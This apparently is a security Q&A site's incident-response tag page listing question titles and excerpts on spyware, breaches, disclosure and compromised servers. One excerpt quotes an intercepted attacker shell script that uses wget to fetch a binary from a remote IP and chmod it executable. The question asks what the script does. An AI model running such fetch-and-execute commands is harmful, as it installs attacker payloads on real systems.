The art of responding to incidents in an organized and thoughtful manner.

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What to do when I found a spyware that my spouse has installed?

Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list Then I try to find what is this and I finally found it in "Program Files". After ...
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How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
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Why did my provider reset my password after someone else attempted to gain access to my account?

Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in ...
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Fostering an environment where honesty and disclosure are valued

UPDATE: The question is seeking real research based on behavior analysis of a significantly large sample people using well defined experiments. Posting answers based on opinions, or ad-hoc ...
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Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
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Is it ever appropriate to fight back?

When an website or system is being attacked, is there ever a scenario where it should automatically take action against the attackers rather than just passively handling the attack? If so, what ...
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What should I do when classified information stayed on a unauthorized laptop?

Has anyone ever had to deal with an unauthorized laptop accidentally getting Top Secret level data on it? How did you quarantine the system. Were you required to turn in the entire laptop or were you ...
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How to handle security issues of someone else's website

A few weeks ago I found that someone has posted admin account details for a certain website on a public wiki by mistake. As I found that data to be real (i.e. I could log into their website run by ...
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Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
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What should I look at in the event of a major vendor suffering compromise with unspecified impact?

The specific example I have in mind here is the breach of RSA in March 2011 where attackers got away with critical information which could be the seed information which is used to generate the ...
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What should be included in a jump bag and how often should it be reviewed?

What items should be included in a jump bag? How often do you review your jump bag?
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How to make a report after a ddos attack? what information do I need to write on the report?

In my company, after a DDOS against a server, my employer asked me to make an analysis of the attack and to write down some stuff. What do you think I need to write down in my report? Is there any ...
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Establishing routines on what to do if a PC gets stolen

I need to establish routines for how to handle theft of PC equipment, specifically laptops and stationary machines. Also I need to figure out how to make the consequences of stolen equipment minimal. ...
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What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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Encouraging security researchers to disclose vulnerabilities

What are approaches to forming solid relationships with security researchers? For example, is publishing a public PGP key on the "contact us" page of a company's website for high levels of risk ...
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Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
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If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network?

According to Mandiant, you should not: Mistake #1: Immediately entering “remediaton mode” – also known as playing “Whack-A-Mole” ... as described here: http://blog.mandiant.com/archives/1525 ...
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How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
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I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
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How to track a laptop after theft?

Our company had a break-in this evening and a laptop was stolen. The data on the laptop was not super-sensitive (luckily); however, we would like to be able to track the laptop if at all possible. ...
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Facebook account keeps getting hacked, can't seem to figure out why or how?

One of my mate, she has a lot of friends on Facebook, uses it for marketing. Her account keeps getting broken into. Her password gets reset and/or gets locked for changing resetting password too many ...
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Gmail account hack prevention and recovery

I am doing a research on how to prevent my gmail account from being hacked and what are the options of claiming it back. The associated phone number and recovery email can be changed, in fact I ...
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Next steps after webmail account was compromised

John Doe told me the following story: I got a mail from a good friend. It just contained a single link. That seemed odd but I didn't think a lot about it. After clicking on the link, the web site ...
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Disclosing security vulnerabilities to paying customers first

Particular case An (unnamed) vendor of an open source product also sells commercial licenses and support. One of the advantages of the commercial deal is that you get notified of security ...
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Security papers or material focusing on the industrial control systems (SCADA)

Anyone know a good site or a list of resource to start to know issue related to the security of SCADA system ?
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How should a web page respond to a CSRF attack?

I know that you use tokens to prevent CSRF, but how should the receiving page respond when it is attacked? Should it fail silently, pretending the transaction was successful? Display an error message? ...
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What does a court need to successfully prosecute a hacker? Please cite previous cases if possible

Once a business decides it is worthwhile to persue legal action against the attacker, what information and processes should be followed so that: Integrity of the investigation is maintained The ...
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Mature CIRTs gather intel on their attackers. What sources & methods are used for this?

I copied this question verbatim from a tweet by Dave Hull. CIRT = Computer Incident Response Team
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Effect of Source Code Leakage of a security suite on security

I am interested to know what threats does it pose, if the source code of a security suite is leaked. It came to my mind after reading the following URLs: ...
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Will reporting phishing emails cause problems for the victim?

On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the ...
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High concentration of UDP traffic, good or bad?

Should a network have a high concentration of UDP traffic compared to TCP traffic bad for a network especially in the context of network security? I'm looking at my organization's network protocol ...
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Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
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“Fingerprinting” and human error

Pretend for a moment I am investigating an attack. I find errors in the attack method (mistakes made by the human attacking my network/computer). I compile a database of these "mistakes" treating ...
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How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...
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How to respond to attack made from my dedicated server?

There was a sudden unusual peak of outbound traffic from my hosted dedicated server (OS - Windows Server 2008 R2). The hoster threatened to block the server if the problem is not solved. There are an ...
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How can I detect/withstand DNS amplification attack?

I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type ...
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How I can prove that SSH attacks are not from my application?

My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ...
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Sony Attacks, what would you do?

If you where called by Sony right now, had 100% control over security, what would you do in the first 24-hours?
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xml library vulnerabilities, regarding post-exploitation

there was some arbitrary code execution that occurred on my os x 10.5 system. this came as a result of opening an xls file with excel for mac. the vnc type program that came with office for mac was ...
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Is this a good way to manage Incident-Response

I m trying to find a good way to deal with incidents. For now these are my thoughts: x Join Logs and analyse with splunk (and alert with rsyslog, splunk is too expensive), x ...
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What policies maximize incident detection (and compromise detection)?

What are the equivalent digital parallels to the practice of offering bonuses to employees challenging persons in a secured area without a visible badge?
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Is it harmful to redirect web bugs to localhost on hosts file?

I was checking the article hosts file on Wikipedia, and I found this: Blocking access to servers of unwanted content by redirecting them to the local host (127.0.0.1) may have security ...
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Modeling vectors of an unknown exploit

Looking for a formula and parameters to feed it that will aid in the isolation of relationships within a system when the origin and cause of an exploit within it is unknown. Here's an example of an ...
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Enterprise security incident response and detection

I have a decent understand and experience with securing and setting up smaller networks, although absolutely no enterprise experience. I understand at such a large scale there are different ...
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Cufon or Prototype as an attack vector for Blackhole exploit kit?

I've been asked to look into the security of a client site that's apparently throwing antiviral messages when visited. Specifics: It's being detected as a Blackhole exploit kit inside of a Cufon ...
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How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
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Responsible Disclosures and Getting Sued

Lots of websites like Google, Facebook etc acknowledge the white hat hackers on their sites for reporting security vulnerability. But for the vulnerability reporter is it safe from legal perspective ? ...
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Outbound TFTP request to 255.255.255.255

Recently snort notified me that I have a user's computer on my network initiating an outbound TFTP request. The odd thing is the destination is 255.255.255.255 Anyone have a clue as to what this may ...
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Incident Reporting or Notification Policy domain?

I'm writing a company policy on how employees should handle reports of information security related events and notifications that come from vendors, customers, and from people within our organization. ...
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What are the risks of posting my email address to pwnedlist.com?

pwnedlist.com claims to have details of over 23 million accounts that have been hacked, and if you submit your email address they'll apparently tell you if you're in the database. Are the people ...